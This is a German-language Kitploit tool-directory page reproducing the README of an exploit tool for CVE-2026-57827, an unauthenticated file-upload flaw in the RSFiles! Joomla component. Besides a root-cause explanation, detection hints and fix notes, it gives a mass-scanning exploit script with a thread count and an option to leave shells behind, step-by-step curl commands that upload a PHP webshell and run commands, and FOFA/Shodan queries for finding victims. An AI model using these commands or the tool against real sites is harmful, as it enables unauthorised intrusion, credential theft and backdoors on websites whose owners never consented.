Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-57827 — CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-57827
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

152vor 22 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-57827 — RSFiles! Joomla-Komponente: Nicht authentifizierter Datei-Upload führt zu RCE

Split-Controller-Upload-Bypass → direkter Schreib-Task → /downloads/shell.php → RCE


Übersicht

CVE-2026-57827 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle für beliebigen Datei-Upload in RSFiles! (com_rsfiles), einer weit verbreiteten Dateiverwaltungs- und Download-Komponente für Joomla, in Versionen < 1.17.12.

Die Schwachstelle nutzt einen Designfehler im Split-Controller: RSFiles! trennt seinen Upload in zwei Frontend-Tasks — eine Vorabprüfung (Berechtigungs-Gate + Erweiterungs-Whitelist) und eine Schreibmethode (speichert die Datei auf der Festplatte). Die Schreibmethode kann direkt aufgerufen werden und umgeht die Vorabprüfung vollständig. Keine Authentifizierung, kein CSRF-Token erforderlich.

Betroffene Versionen

VersionStatus
< 1.17.12Anfällig
1.17.12+Behoben

Entdeckt von: Phil Taylor, mySites.guru (10. Juli 2026) Hersteller: RSJoomla (rsjoomla.com) Komponente: com_rsfiles


Mechanismus der Schwachstelle

Grundursache

RSFiles! verteilt seinen Upload auf zwei separate Frontend-Tasks in /components/com_rsfiles/controllers/rsfiles.php:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Warum es funktioniert

  1. Split-Controller — Die Sicherheitsprüfungen und das Schreiben der Datei befinden sich in zwei verschiedenen Methoden. Nur die Vorabprüfung ist geschützt.
  2. Direkter Task-Zugriff — Der Frontend-Controller von Joomla erlaubt es, jeden Task direkt über &task=rsfiles.upload aufzurufen und die Vorabprüfung vollständig zu überspringen.
  3. Keine Authentifizierung — Der Frontend-Controller hat keine Zugriffskontrolle. Anonyme Besucher können den Schreib-Task aufrufen.
  4. Kein CSRF-Token — Das Frontend-Upload-Formular hat kein siteweites CSRF-Token.
  5. Keine Dateityp-Validierung — Die Schreibmethode liest den Dateinamen aus der Anfrage und übergibt ihn an Joomlas eingebundenen Upload-Handler (JFile::upload()), der standardmäßig jeden Dateityp akzeptiert.
  6. Downloads-Ordner im Web-Root — Der Standard-Downloads-Ordner von RSFiles! liegt im Web-Root. Die schützende .htaccess, die dort die PHP-Ausführung stoppen würde, ist eine Opt-in-Admin-Einstellung, die standardmäßig AUS ist.

Angriffsablauf

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Verifizierte Quellcode-Referenzen

Erkennung in Server-Logs (aus dem RSJoomla-Advisory)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Zentraler Designfehler

Die Sicherheitsprüfungen (Berechtigungs-Gate + Erweiterungs-Whitelist) sind ein separater Vorab-Schritt von der Methode, die die Datei tatsächlich schreibt. Nur der erste enthält die Prüfungen. Der zweite — derjenige, der auf die Festplatte schreibt — konnte direkt aufgerufen werden, indem der richtige task-Parameter in der URL gesetzt wurde, wodurch alle Sicherheitskontrollen umgangen wurden.

Dies ist ein Lehrbuchbeispiel des Anti-Patterns „Prüfungen und Aktionen an verschiedenen Stellen“: Das Schutzgatter und die Operation, die es schützen soll, sind entkoppelt, und ein Angreifer kann die Operation erreichen, ohne das Gatter zu passieren.


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Verwendung

root@kitploit:~
# Einzelnes Ziel
python cve_2026_57827.py -t target.com

# Massen-Scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug-Modus, Shells auf dem Ziel hinterlassen
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argumente

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Einzelnes Ziel

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Manuelle Ausnutzung

Schritt 1 — Shell hochladen

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Schritt 2 — Auf die Shell zugreifen

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

Schritt 3 — Befehle ausführen

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mitigation (falls ein Update nicht möglich ist)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Auswirkungen

Eine erfolgreiche Ausnutzung führt zu Remote Code Execution als Web-Server-Benutzer:

  • Extraktion der configuration.php → Datenbank-Zugangsdaten, SMTP-Geheimnisse
  • Zugriff auf sämtliche Joomla-Inhalte, Benutzer und Erweiterungsdaten
  • Installation persistenter Hintertüren
  • Pivot zu internen Netzwerken
  • Website verunstalten oder Malware einschleusen

In keinem Schritt ist ein Konto auf der Website erforderlich. Anonym, nicht authentifiziert, remote.


Der Fix (1.17.12)

RSJoomla hat die Schwachstelle in Version 1.17.12 behoben, indem:

  • Eine Berechtigungsprüfung direkt in der Schreibmethode ergänzt wurde (nicht nur in der Vorabprüfung)
  • Eine Dateityp-Validierung in der Schreibmethode ergänzt wurde
  • Ein CSRF-Token am Frontend-Upload-Endpunkt erzwungen wird
  • Der .htaccess-Schutz im Downloads-Ordner standardmäßig aktiviert wurde

Haftungsausschluss

NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.

Verwenden Sie diese Informationen nicht gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers. Die Autoren übernehmen keine Haftung für Missbrauch.


Referenzen


Nicht mit RSJoomla oder mySites.guru verbunden.

Tool herunterladen
DateipfadZweck
/components/com_rsfiles/controllers/rsfiles.phpController mit anfälligen upload()- und checkupload()-Tasks
/components/com_rsfiles/views/upload/tmpl/upload.phpFrontend-Upload-Formularvorlage (bestätigt: name="file", task=rsfiles.upload)
/downloads/Standard-Downloads-Ordner im Web-Root (.htaccess-Schutz standardmäßig AUS)
/briefcase/Briefcase-Ordner (ebenfalls beschreibbar)
RessourceLink
NVD-EintragCVE-2026-57827
mySites.guru Advisorymysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
RSJoomla-Advisoryrsjoomla.com
CWE-434Unrestricted Upload of File with Dangerous Type
MelderPhil Taylor, mySites.guru